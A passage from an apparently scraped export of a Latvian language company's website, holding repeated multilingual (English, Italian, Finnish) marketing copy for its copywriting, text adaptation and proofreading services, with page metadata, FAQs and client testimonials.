tehokkaasti? Skrivanekin copywriterit Latviassa, Virossa, Liettuassa, Puolassa, Saksassa ja muissa Euroopan ja maailman maissa auttavat sinua voittamaan kielimuurin ja tulemaan kuulluksi. Muista, että jokainen tuote ja tilanne on ainutlaatuinen, ja se on räätälöitävä parhaan mahdollisen ratkaisun tarjoamiseksi. ISO-sertifikaattien takaamaa laatua ja luottamuksellisuutta Projektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa 99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi --- > Experience Skrivanek’s copywriting services. Transform your content, captivate your audience. Your words, our craft. - Published: 2024-05-14 - Modified: 2025-07-03 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ - Translation Priorities: Optional COPYWRITING OF ADVERTISING AND MULTILINGUAL MARKETING TEXTS We are well aware that people deliberately choose not to read advertising - they read and listen to what really interests them, and only sometimes may this be advertising. Have you ever wondered how a language company can help you to be heard in a crowded information space? The creative copywriters at Skrivanek work closely with the customer and do not create text out of thin air, but carefully study the nuances of your product. Excellent writing skills are not the only skills that copywriters need to help our customers grow internationally. When creating and adapting texts for foreign markets, it is the copywriter’s job to maintain the uniqueness and tone of the message, while respecting the cultural differences and customs of the audience, and applying the unwritten rules of communication and etiquette. If you are looking for a language company that will create truly engaging ad texts and take care of the multilingual content of your website in order to reach as many potential customers around the world as possible – you have come to the right place. IMPORTANCE OF ADVERTISING AND MULTILINGUAL MARKETING TEXTS FOR THE GROWTH OF YOUR BUSINESS Working with texts is one of the most important tasks of every company’s marketing department – including yours! The right words have the power to influence or call your customers to action – and this is the key to the success of any marketing campaign. Marketing texts are any kind of textual material that your company can use in its sales activities or to promote its products and services. These range from printed materials, presentations and e-mail blanks, to easily convertible multilingual content for your website, including company audio and video texts. Working with text is like having a heart-to-heart chat with your best friend – a customer who inspires you. Therefore, in order to produce an effective and well-targeted advertising slogan, the copywriter needs to know his/her reader very well, his/her interests and habits, and even his/her innermost dreams. Adapting or localising pre-prepared website content, on the other hand, requires research of the audience in the chosen target market or country. It is particularly important to perform Google keyword research early on so that we speak the language of the country where potential customers are searching for your product or service from the outset. UNIQUE COPYWRITING AND MULTILINGUAL CONTENT MARKETING What is the difference between unique copywriting and multilingual content marketing? Content marketing is all the content that your company consistently creates and publishes on the internet to improve your company’s position in search engine results, thereby also driving indirect sales. Typically, this includes content for blogs about the area you specialise in, stories about experiences, and entertainment or educational material. Why is this important? The answer is simple - to build long-term relationships with your customers, to make it interesting for them to follow you and have a dialogue on social networks, to read and share your blog, and to tell their friends about you. How can Skrivanek help you? We speak more than 110 languages of your potential customers. Reaching your target audience anywhere in the world has never been easier; all you have to do is choose a country or region, and the copywriters at Skrivanek will take care of the rest. Intercultural communication is our speciality. Looking for creative copywriting? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! COPYWRITING OF ADVERTISING AND MULTILINGUAL MARKETING TEXTS We are well aware that people deliberately choose not to read advertising - they read and listen to what really interests them, and only sometimes may this be advertising. Have you ever wondered how a language company can help you to be heard in a crowded information space? The creative copywriters at Skrivanek work closely with the customer and do not create text out of thin air, but carefully study the nuances of your product. Excellent writing skills are not the only skills that copywriters need to help our customers grow internationally. When creating and adapting texts for foreign markets, it is the copywriter’s job to maintain the uniqueness and tone of the message, while respecting the cultural differences and customs of the audience, and applying the unwritten rules of communication and etiquette. If you are looking for a language company that will create truly engaging ad texts and take care of the multilingual content of your website in order to reach as many potential customers around the world as possible – you have come to the right place. IMPORTANCE OF ADVERTISING AND MULTILINGUAL MARKETING TEXTS FOR THE GROWTH OF YOUR BUSINESS Working with texts is one of the most important tasks of every company’s marketing department – including yours! The right words have the power to influence or call your customers to action – and this is the key to the success of any marketing campaign. Marketing texts are any kind of textual material that your company can use in its sales activities or to promote its products and services. These range from printed materials, presentations and e-mail blanks, to easily convertible multilingual content for your website, including company audio and video texts. Working with text is like having a heart-to-heart chat with your best friend – a customer who inspires you. Therefore, in order to produce an effective and well-targeted advertising slogan, the copywriter needs to know his/her reader very well, his/her interests and habits, and even his/her innermost dreams. Adapting or localising pre-prepared website content, on the other hand, requires research of the audience in the chosen target market or country. It is particularly important to perform Google keyword research early on so that we speak the language of the country where potential customers are searching for your product or service from the outset. UNIQUE COPYWRITING AND MULTILINGUAL CONTENT MARKETING What is the difference between unique copywriting and multilingual content marketing? Content marketing is all the content that your company consistently creates and publishes on the internet to improve your company’s position in search engine results, thereby also driving indirect sales. Typically, this includes content for blogs about the area you specialise in, stories about experiences, and entertainment or educational material. Why is this important? The answer is simple - to build long-term relationships with your customers, to make it interesting for them to follow you and have a dialogue on social networks, to read and share your blog, and to tell their friends about you. How can Skrivanek help you? We speak more than 110 languages of your potential customers. Reaching your target audience anywhere in the world has never been easier; all you have to do is choose a country or region, and the copywriters at Skrivanek will take care of the rest. Intercultural communication is our speciality. Looking for creative copywriting? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! WHEN IS IT NECESSARY TO THINK ABOUT CREATIVE COPYWRITING? The simple answer – always! In fact, work with text never stops, because in order to achieve a company’s business goals or boost sales, it is necessary to write more and more text. Finding new markets and creating new products is all part of making more money, but it requires high-quality marketing texts. Work on existing content never stops either, as it has to be constantly improved and adapted to the parameters of search engines. Target audience behaviour also changes over time; people choose to use other social media or follow new influencers, and your customers’ values can also change dramatically. The copywriters at Skrivanek closely follow the latest trends in marketing and advertising, because the reality of existing and potential target audiences in different countries evolves and adjusts, with varying concerns and different dreams. There is no doubt that the advertising culture in the US differs from the advertising environment and traditions in Japan, and that European buyers will look for product information in different ways to people in Asia, because we tend to look for solutions tailored to our everyday needs and situations. COPYWRITING OF MULTILINGUAL MARKETING TEXT Large and small companies doing business in different countries work tirelessly and think about the global communication and brand voice of their company. Communication and language companies that are experienced and well-versed in the different forms of communication in various countries provide great assistance in this task. Often, communication handbooks and guidelines are created in close collaboration with the customer and texts are created from scratch, but brands may also choose to adapt existing content to the target audience. Are you unsure of whether your existing texts will be sufficiently effective to reach readers? The copywriters at Skrivanek in Latvia, Estonia, Lithuania, Poland, Germany and other European and global countries will help you overcome the language barrier and be heard. Remember that every product and situation is unique and needs to be tailored to provide the best possible solution. FIRST STEPS IN CREATIVE COPYWRITING – WHERE TO START? If you are committed to preparing a text but unsure about what to write, Skrivanek recommends thinking about the following questions: What problem does your product or service help your customers solve? What do you think are the benefits of your product or service? How are you better than your competitors? Who is your target audience? Who is your ideal customer – describe them, think about their age, gender, hobbies, etc. What people or businesses have used your product or service so far? What do you know about them? What do your existing customers expect from you? How do your products or services reach customers? Do you want to reach an existing audience or are you trying to reach new customers? What is the goal you want to achieve with this text? What are the marketing goals of your company in general? What kind of text will you write – product description, sales e-mail, social media post, blog, or a new landing page for a website? Real writing skills come with time and need to be nurtured and practised, just like with any other skill. FIRST STEPS IN CREATIVE COPYWRITING – WHERE TO START? If you are committed to preparing a text but unsure about what to write, Skrivanek recommends thinking about the following questions: What problem does your product or service help your customers solve? What do you think are the benefits of your product or service? How are you better than your competitors? Who is your target audience? Who is your ideal customer – describe them, think about their age, gender, hobbies, etc. What people or businesses have used your product or service so far? What do you know about them? What do your existing customers expect from you? How do your products or services reach customers? Do you want to reach an existing audience or are you trying to reach new customers? What is the goal you want to achieve with this text? What are the marketing goals of your company in general? What kind of text will you write – product description, sales e-mail, social media post, blog, or a new landing page for a website? Real writing skills come with time and need to be nurtured and practised, just like with any other skill. WHEN IS IT NECESSARY TO THINK ABOUT CREATIVE COPYWRITING? The simple answer – always! In fact, work with text never stops, because in order to achieve a company’s business goals or boost sales, it is necessary to write more and more text. Finding new markets and creating new products is all part of making more money, but it requires high-quality marketing texts. Work on existing content never stops either, as it has to be constantly improved and adapted to the parameters of search engines. Target audience behaviour also changes over time; people choose to use other social media or follow new influencers, and your customers’ values can also change dramatically. The copywriters at Skrivanek closely follow the latest trends in marketing and advertising, because the reality of existing and potential target audiences in different countries evolves and adjusts, with varying concerns and different dreams. There is no doubt that the advertising culture in the US differs from the advertising environment and traditions in Japan, and that European buyers will look for product information in different ways to people in Asia, because we tend to look for solutions tailored to our everyday needs and situations. COPYWRITING OF MULTILINGUAL MARKETING TEXT Large and small companies doing business in different countries work tirelessly and think about the global communication and brand voice of their company. Communication and language companies that are experienced and well-versed in the different forms of communication in various countries provide great assistance in this task. Often, communication handbooks and guidelines are created in close collaboration with the customer and texts are created from scratch, but brands may also choose to adapt existing content to the target audience. Are you unsure of whether your existing texts will be sufficiently effective to reach readers? The copywriters at Skrivanek in Latvia, Estonia, Lithuania, Poland, Germany and other European and global countries will help you overcome the language barrier and be heard. Remember that every product and situation is unique and needs to be tailored to provide the best possible solution. Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish 99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year --- > Provate i servizi di adattamento testi e copywriting di Skrivanek. Trasformate i vostri contenuti, conquistate il vostro pubblico. Le vostre parole, il nostro mestiere. - Published: 2024-05-14 - Modified: 2024-06-17 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional ADATTAMENTO DEL TESTO Il nostro team adatterà il testo per renderlo più comprensibile al pubblico specifico che avete scelto, tenendo conto delle sottigliezze della cultura o del gruppo sociale di riferimento. Questo approccio viene utilizzato soprattutto per i testi pubblicitari e creativi. Contattateci COPYWRITING CREATIVO Quando traduciamo e produciamo testi creativi, prestiamo particolare attenzione alla scelta della forma di indirizzo, alla sua notazione e all'uso dei diminutivi. Ci assicuriamo che un testo creativo non possa essere percepito separatamente dai suoi elementi visivi o sonori, e che tutti lavorino in tandem per creare un messaggio armonioso. Scopri di più MIGLIORAMENTO GRAMMATICALE E STILISTICO DEI TESTI Offriamo servizi di revisione, miglioramento stilistico, confronto della traduzione con l'originale ed editing, anche per testi che non sono stati preparati o tradotti da noi. Questi servizi sono forniti esclusivamente da madrelingua della lingua di destinazione. Scopri di più DOMANDE FREQUENTI Nel caso di testi di marketing o testi pubblicitari, una normale traduzione non è abbastanza: il più delle volte il testo deve essere localizzato e idiomi e altre espressioni devono essere cambiati per garantire che il significato possa essere capito al volo dagli utenti nella lingua di arrivo. Questo avviene quando i testi sono adattati in modo da essere pienamente conformi ai requisiti del pubblico della lingua di arrivo. Se possibile, lavoriamo sempre elettronicamente con i documenti originali e non apportiamo alcuna modifica a stile o formattazione. Se necessario, grazie all’aiuto del nostro team di desktop publishing (DTP), possiamo garantire che la traduzione del documento del cliente abbia lo stesso aspetto dell’originale o che venga formattato secondo le istruzioni del cliente. Sì, tutti i prezzi per le persone fisiche sono comprensivi di IVA. Per le aziende i prezzi sono invece indicati al netto dell'IVA. Infatti, in conformità alla normativa UE, non applichiamo l’IVA sui servizi forniti ad aziende con partita IVA in altri paesi membri; in base alla normativa sull'inversione contabile, l'onere fiscale si trasferisce al destinatario dei servizi. OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ MILIONI Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Migliorate i vostri contenuti con i nostri servizi di revisione e stilistica. I madrelingua garantiscono chiarezza e precisione. 🚀 Contattate Skrivanek! - Published: 2024-05-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional I nostri specialisti linguistici vi aiuteranno a migliorare la qualità stilistica o grammaticale del testo, a verificare la terminologia utilizzata nel testo o a confrontare la traduzione con l'originale per garantirne l'accuratezza. Vi aiuteranno anche se il testo non è stato tradotto o preparato da noi. In ogni lingua, il controllo sarà effettuato da un linguista madrelingua della lingua di destinazione. La revisione o il miglioramento stilistico di un testo è un controllo grammaticale e stilistico che viene effettuato per garantire che la traduzione sia adeguata e idonea allo scopo prefissato e per verificare che siano state rispettate le tradizioni del settore. La revisione viene effettuata da un madrelingua, a garanzia della qualità, dell'accuratezza e della professionalità della traduzione. Viene effettuato un confronto dettagliato della traduzione con l'originale per verificare l'accuratezza e la coerenza della traduzione con l'originale e per apportare le correzioni necessarie. Il linguista consulta manuali, dizionari terminologici e altri materiali di riferimento per garantire la massima qualità del risultato. Il confronto porta a una traduzione pienamente equivalente all'originale, leggibile, grammaticalmente e terminologicamente corretta e adatta allo scopo. L'editing o il controllo terminologico sono utili quando è necessario verificare una traduzione destinata a un settore specifico. I termini utilizzati nella traduzione vengono controllati da un redattore che conosce il settore specifico e che è madrelingua della lingua straniera in questione. RICHIEDI UN PREVENTIVO / FACCI UNA DOMANDA Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia DOMANDE FREQUENTI Forniamo una grande varietà di servizi linguistici: servizi di traduzione e di interpretazione, servizi di localizzazione, di adattamento di testi, di copywriting, di desktop publishing (DTP) e di formazione linguistica. I servizi di interpretazione vengono forniti in occasione di conferenze e incontri di lavoro, ma anche durante procedimenti giudiziari. I servizi di traduzione comprendono invece traduzioni specialistiche e generali relative a diversi settori. Sì, tutti i prezzi per le persone fisiche sono comprensivi di IVA. Per le aziende i prezzi sono invece indicati al netto dell'IVA. Infatti, in conformità alla normativa UE, non applichiamo l’IVA sui servizi forniti ad aziende con partita IVA in altri paesi membri; in base alla normativa sull'inversione contabile, l'onere fiscale si trasferisce al destinatario dei servizi. Nonostante la maggior parte dei nostri clienti siano persone legali, aiutiamo con piacere anche i privati, i quali solitamente ci richiedono traduzioni certificate da un notaio. Sono molto popolari anche i campi studio per bambini e i corsi di lingua. Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un’offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Provate i servizi di copywriting di Skrivanek. Trasformate i vostri contenuti, conquistate il vostro pubblico. Le vostre parole, il nostro mestiere. - Published: 2024-05-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ COPYWRITING DELLA PUBBLICITÀ E DI TESTI DI MARKETING MULTILINGUE Sappiamo bene che le persone scelgono deliberatamente di non leggere la pubblicità - leggono e ascoltano ciò che li interessa davvero, e solo a volte questa può essere la pubblicità. Vi siete mai chiesti come una società di lingue possa aiutarvi a farvi sentire in uno spazio informativo affollato? I copywriter creativi di Skrivanek lavorano a stretto contatto con il cliente e non creano testi dal nulla, ma studiano attentamente le sfumature del vostro prodotto. Le eccellenti capacità di scrittura non sono le uniche competenze di cui i copywriter hanno bisogno per aiutare i nostri clienti a crescere a livello internazionale. Quando si creano e si adattano testi per i mercati esteri, è compito del copywriter mantenere l'unicità e il tono del messaggio, rispettando le differenze culturali e le abitudini del pubblico e applicando le regole non scritte della comunicazione e del galateo. Se state cercando un'azienda linguistica che crei testi pubblicitari davvero accattivanti e si occupi dei contenuti multilingue del vostro sito web per raggiungere il maggior numero possibile di potenziali clienti in tutto il mondo, siete nel posto giusto. L'IMPORTANZA DELLA PUBBLICITÀ E DEI TESTI DI MARKETING MULTILINGUE PER LA CRESCITA DELLA VOSTRA AZIENDA Lavorare con i testi è uno dei compiti più importanti del reparto marketing di ogni azienda, compresa la vostra! Le parole giuste hanno il potere di influenzare o chiamare all'azione i clienti, e questa è la chiave del successo di qualsiasi campagna di marketing. I testi di marketing sono qualsiasi tipo di materiale testuale che la vostra azienda può utilizzare nelle sue attività di vendita o per promuovere i suoi prodotti e servizi. Si va dai materiali stampati, alle presentazioni e alle e-mail, fino ai contenuti multilingue facilmente convertibili per il vostro sito web, compresi i testi audio e video aziendali. Lavorare con i testi è come fare una chiacchierata a cuore aperto con il vostro migliore amico, un cliente che vi ispira. Pertanto, per produrre uno slogan pubblicitario efficace e ben mirato, il copywriter deve conoscere molto bene il suo lettore, i suoi interessi e le sue abitudini, e persino i suoi sogni più intimi. L'adattamento o la localizzazione dei contenuti di un sito web già pronto, invece, richiede una ricerca sul pubblico del mercato o del Paese di destinazione prescelto. È particolarmente importante eseguire la ricerca di parole chiave su Google in modo da parlare fin dall'inizio la lingua del Paese in cui i potenziali clienti cercano il vostro prodotto o servizio. COPYWRITING UNICO E CONTENT MARKETING MULTILINGUE Qual è la differenza tra copywriting unico e content marketing multilingue? Il content marketing è l'insieme dei contenuti che la vostra azienda crea e pubblica costantemente su Internet per migliorare la posizione della vostra azienda nei risultati dei motori di ricerca, favorendo così anche le vendite indirette. In genere, si tratta di contenuti per blog sul settore in cui si è specializzati, racconti di esperienze e materiale di intrattenimento o educativo. Perché è importante? La risposta è semplice: - per costruire relazioni a lungo termine con i vostri clienti, rendere interessante per loro seguirvi e dialogare sui social network, leggere e condividere il vostro blog e parlare di voi ai loro amici. Come può aiutarvi Skrivanek? Parliamo più di 110 lingue dei vostri potenziali clienti. Raggiungere il vostro pubblico di riferimento in qualsiasi parte del mondo non è mai stato così facile: basta scegliere un paese o una regione e i copywriter di Skrivanek si occuperanno del resto. La comunicazione interculturale è la nostra specialità. RICHIEDI UN PREVENTIVO / FACCI UNA DOMANDA Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia COPYWRITING DELLA PUBBLICITÀ E DI TESTI DI MARKETING MULTILINGUE Sappiamo bene che le persone scelgono deliberatamente di non leggere la pubblicità - leggono e ascoltano ciò che li interessa davvero, e solo a volte questa può essere la pubblicità. Vi siete mai chiesti come una società di lingue possa aiutarvi a farvi sentire in uno spazio informativo affollato? I copywriter creativi di Skrivanek lavorano a stretto contatto con il cliente e non creano testi dal nulla, ma studiano attentamente le sfumature del vostro prodotto. Le eccellenti capacità di scrittura non sono le uniche competenze di cui i copywriter hanno bisogno per aiutare i nostri clienti a crescere a livello internazionale. Quando si creano e si adattano testi per i mercati esteri, è compito del copywriter mantenere l'unicità e il tono del messaggio, rispettando le differenze culturali e le abitudini del pubblico e applicando le regole non scritte della comunicazione e del galateo. Se state cercando un'azienda linguistica che crei testi pubblicitari davvero accattivanti e si occupi dei contenuti multilingue del vostro sito web per raggiungere il maggior numero possibile di potenziali clienti in tutto il mondo, siete nel posto giusto. L'IMPORTANZA DELLA PUBBLICITÀ E DEI TESTI DI MARKETING MULTILINGUE PER LA CRESCITA DELLA VOSTRA AZIENDA Lavorare con i testi è uno dei compiti più importanti del reparto marketing di ogni azienda, compresa la vostra! Le parole giuste hanno il potere di influenzare o chiamare all'azione i clienti, e questa è la chiave del successo di qualsiasi campagna di marketing. I testi di marketing sono qualsiasi tipo di materiale testuale che la vostra azienda può utilizzare nelle sue attività di vendita o per promuovere i suoi prodotti e servizi. Si va dai materiali stampati, alle presentazioni e alle e-mail, fino ai contenuti multilingue facilmente convertibili per il vostro sito web, compresi i testi audio e video aziendali. Lavorare con i testi è come fare una chiacchierata a cuore aperto con il vostro migliore amico, un cliente che vi ispira. Pertanto, per produrre uno slogan pubblicitario efficace e ben mirato, il copywriter deve conoscere molto bene il suo lettore, i suoi interessi e le sue abitudini, e persino i suoi sogni più intimi. L'adattamento o la localizzazione dei contenuti di un sito web già pronto, invece, richiede una ricerca sul pubblico del mercato o del Paese di destinazione prescelto. È particolarmente importante eseguire la ricerca di parole chiave su Google in modo da parlare fin dall'inizio la lingua del Paese in cui i potenziali clienti cercano il vostro prodotto o servizio. COPYWRITING UNICO E CONTENT MARKETING MULTILINGUE Qual è la differenza tra copywriting unico e content marketing multilingue? Il content marketing è l'insieme dei contenuti che la vostra azienda crea e pubblica costantemente su Internet per migliorare la posizione della vostra azienda nei risultati dei motori di ricerca, favorendo così anche le vendite indirette. In genere, si tratta di contenuti per blog sul settore in cui si è specializzati, racconti di esperienze e materiale di intrattenimento o educativo. Perché è importante? La risposta è semplice: - per costruire relazioni a lungo termine con i vostri clienti, rendere interessante per loro seguirvi e dialogare sui social network, leggere e condividere il vostro blog e parlare di voi ai loro amici. Come può aiutarvi Skrivanek? Parliamo più di 110 lingue dei vostri potenziali clienti. Raggiungere il vostro pubblico di riferimento in qualsiasi parte del mondo non è mai stato così facile: basta scegliere un paese o una regione e i copywriter di Skrivanek si occuperanno del resto. La comunicazione interculturale è la nostra specialità. RICHIEDI UN PREVENTIVO / FACCI UNA DOMANDA Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. QUANDO È NECESSARIO PENSARE AL COPYWRITING CREATIVO? La risposta è semplice: sempre! In effetti, il lavoro con i testi non si ferma mai, perché per raggiungere gli obiettivi commerciali di un'azienda o per incrementare le vendite è necessario scrivere sempre più testi. La ricerca di nuovi mercati e la creazione di nuovi prodotti sono parte integrante del guadagno, ma richiedono testi di marketing di alta qualità. Anche il lavoro sui contenuti esistenti non si ferma mai, perché devono essere costantemente migliorati e adattati ai parametri dei motori di ricerca. Anche il comportamento del pubblico target cambia nel tempo: le persone scelgono di utilizzare altri social media o di seguire nuovi influencer, e anche i valori dei vostri clienti possono cambiare radicalmente. I copywriter di Skrivanek seguono da vicino le ultime tendenze del marketing e della pubblicità, perché la realtà del pubblico target esistente e potenziale nei diversi Paesi si evolve e si adatta, con preoccupazioni e sogni diversi. Non c'è dubbio che la cultura pubblicitaria degli Stati Uniti sia diversa dall'ambiente e dalle tradizioni pubblicitarie del Giappone, e che gli acquirenti europei cerchino informazioni sui prodotti in modo diverso da quelli asiatici, perché tendiamo a cercare soluzioni su misura per le nostre esigenze e situazioni quotidiane. COPYWRITING DI TESTI DI MARKETING MULTILINGUE Le aziende grandi e piccole che operano in diversi Paesi lavorano instancabilmente e pensano alla comunicazione globale e alla voce del marchio della loro azienda. Le società di comunicazione e linguistiche, esperte e preparate nelle diverse forme di comunicazione nei vari Paesi, forniscono una grande assistenza in questo compito. Spesso i manuali e le linee guida di comunicazione vengono creati in stretta collaborazione con il cliente e i testi vengono creati ex novo, ma i marchi possono anche scegliere di adattare i contenuti esistenti al pubblico di riferimento. Non siete sicuri che i vostri testi esistenti siano sufficientemente efficaci per raggiungere i lettori? I copywriter di Skrivanek in Lettonia, Estonia, Lituania, Polonia, Germania e altri paesi europei e del mondo vi aiuteranno a superare la barriera linguistica e a farvi ascoltare. Ricordate che ogni prodotto e situazione è unico e deve essere personalizzato per fornire la migliore soluzione possibile. PRIMI PASSI NEL COPYWRITING CREATIVO: DA DOVE COMINCIARE? Se siete impegnati nella preparazione di un testo ma non siete sicuri di cosa scrivere, Skrivanek consiglia di riflettere sulle seguenti domande: Quale problema il vostro prodotto o servizio aiuta i vostri clienti a risolvere? Quali sono, secondo voi, i vantaggi del vostro prodotto o servizio? In che modo siete migliori dei vostri concorrenti? Chi è il vostro pubblico di riferimento? Chi è il vostro cliente ideale: descrivetelo, pensate alla sua età, al sesso, agli hobby, eccetera. Quali persone o aziende hanno utilizzato il vostro prodotto o servizio finora? Cosa sapete di loro? Cosa si aspettano da voi i clienti esistenti? In che modo i vostri prodotti o servizi raggiungono i clienti? Volete raggiungere un pubblico esistente o state cercando di raggiungere nuovi clienti? Qual è l'obiettivo che volete raggiungere con questo testo? Quali sono gli obiettivi di marketing della vostra azienda in generale? Che tipo di testo scriverete: descrizione di un prodotto, e-mail di vendita, post sui social media, blog o una nuova landing page per un sito web? Le vere abilità di scrittura si acquisiscono con il tempo e devono essere coltivate e praticate, proprio come qualsiasi altra abilità. PRIMI PASSI NEL COPYWRITING CREATIVO: DA DOVE COMINCIARE? Se siete impegnati nella preparazione di un testo ma non siete sicuri di cosa scrivere, Skrivanek consiglia di riflettere sulle seguenti domande: Quale problema il vostro prodotto o servizio aiuta i vostri clienti a risolvere? Quali sono, secondo voi, i vantaggi del vostro prodotto o servizio? In che modo siete migliori dei vostri concorrenti? Chi è il vostro pubblico di riferimento? Chi è il vostro cliente ideale: descrivetelo, pensate alla sua età, al sesso, agli hobby, eccetera. Quali persone o aziende hanno utilizzato il vostro prodotto o servizio finora? Cosa sapete di loro? Cosa si aspettano da voi i clienti esistenti? In che modo i vostri prodotti o servizi raggiungono i clienti? Volete raggiungere un pubblico esistente o state cercando di raggiungere nuovi clienti? Qual è l'obiettivo che volete raggiungere con questo testo? Quali sono gli obiettivi di marketing della vostra azienda in generale? Che tipo di testo scriverete: descrizione di un prodotto, e-mail di vendita, post sui social media, blog o una nuova landing page per un sito web? Le vere abilità di scrittura si acquisiscono con il tempo e devono essere coltivate e praticate, proprio come qualsiasi altra abilità. QUANDO È NECESSARIO PENSARE AL COPYWRITING CREATIVO? La risposta è semplice: sempre! In effetti, il lavoro con i testi non si ferma mai, perché per raggiungere gli obiettivi commerciali di un'azienda o per incrementare le vendite è necessario scrivere sempre più testi. La ricerca di nuovi mercati e la creazione di nuovi prodotti sono parte integrante del guadagno, ma richiedono testi di marketing di alta qualità. Anche il lavoro sui contenuti esistenti non si ferma mai, perché devono essere costantemente migliorati e adattati ai parametri dei motori di ricerca. Anche il comportamento del pubblico target cambia nel tempo: le persone scelgono di utilizzare altri social media o di seguire nuovi influencer, e anche i valori dei vostri clienti possono cambiare radicalmente. I copywriter di Skrivanek seguono da vicino le ultime tendenze del marketing e della pubblicità, perché la realtà del pubblico target esistente e potenziale nei diversi Paesi si evolve e si adatta, con preoccupazioni e sogni diversi. Non c'è dubbio che la cultura pubblicitaria degli Stati Uniti sia diversa dall'ambiente e dalle tradizioni pubblicitarie del Giappone, e che gli acquirenti europei cerchino informazioni sui prodotti in modo diverso da quelli asiatici, perché tendiamo a cercare soluzioni su misura per le nostre esigenze 